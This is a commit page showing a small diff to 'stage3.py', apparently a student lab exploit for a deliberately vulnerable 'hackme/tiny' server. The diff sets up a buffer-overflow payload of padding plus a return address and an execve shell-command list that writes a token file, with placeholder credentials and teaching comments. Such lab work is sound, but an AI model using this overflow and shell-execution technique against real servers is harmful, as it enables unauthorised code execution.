Commit abdb8d89 authored by Adam Blank's avatar Adam Blank
Browse files

Update stage3.py

parent 7924d372
No related merge requests found
Showing with 4 additions and 1 deletion
+4 -1
......@@ -22,7 +22,10 @@ ADDRESS = to_bytes(0xdeadbeef)
USER = b"FILL ME IN"
PASSWORD = b"FILL ME IN"
SCRIPT = [b"/bin/sh\x00", b"-c\x00", b"echo -n \"" + USER + b"\" | sha384sum > /hackme/tiny/tokens/" + PASSWORD + b"\x00", b"\x00"]
# These are the arguments that make up the shell script we want to execve.
# Don't forget that there needs to be a NULL pointer as the last argument in addition to these!
SCRIPT = [b"/bin/sh\x00", b"-c\x00", b"echo -n \"" + USER + b"\" | sha384sum > /hackme/tiny/tokens/" + PASSWORD + b"\x00"]
# The "exploit string" is what we send in as the headers
HEADERS = PADDING + ADDRESS
......
Markdown is supported
0% or .
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment